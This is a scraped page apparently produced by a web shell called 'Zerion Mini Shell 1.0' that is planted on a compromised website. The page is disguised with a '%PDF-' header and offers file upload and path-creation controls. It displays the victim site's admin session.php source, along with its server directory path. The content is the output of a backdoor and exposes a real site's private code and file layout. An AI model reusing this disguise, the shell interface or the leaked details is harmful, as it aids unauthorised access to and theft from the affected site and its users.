%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/home/medipszd/www/admin/includes/
Upload File :
Create Path :
Current File : //proc/thread-self/root/home/medipszd/www/admin/includes/session.php

<?php
	include '../includes/conn.php';
	session_start();

	if(!isset($_SESSION['admin']) || trim($_SESSION['admin']) == ''){
		header('location: ../index.php');
		exit();
	}

	$conn = $pdo->open();

	$stmt = $conn->prepare("SELECT * FROM users WHERE id=:id");
	$stmt->execute(['id'=>$_SESSION['admin']]);
	$admin = $stmt->fetch();

	$pdo->close();

?>

Zerion Mini Shell 1.0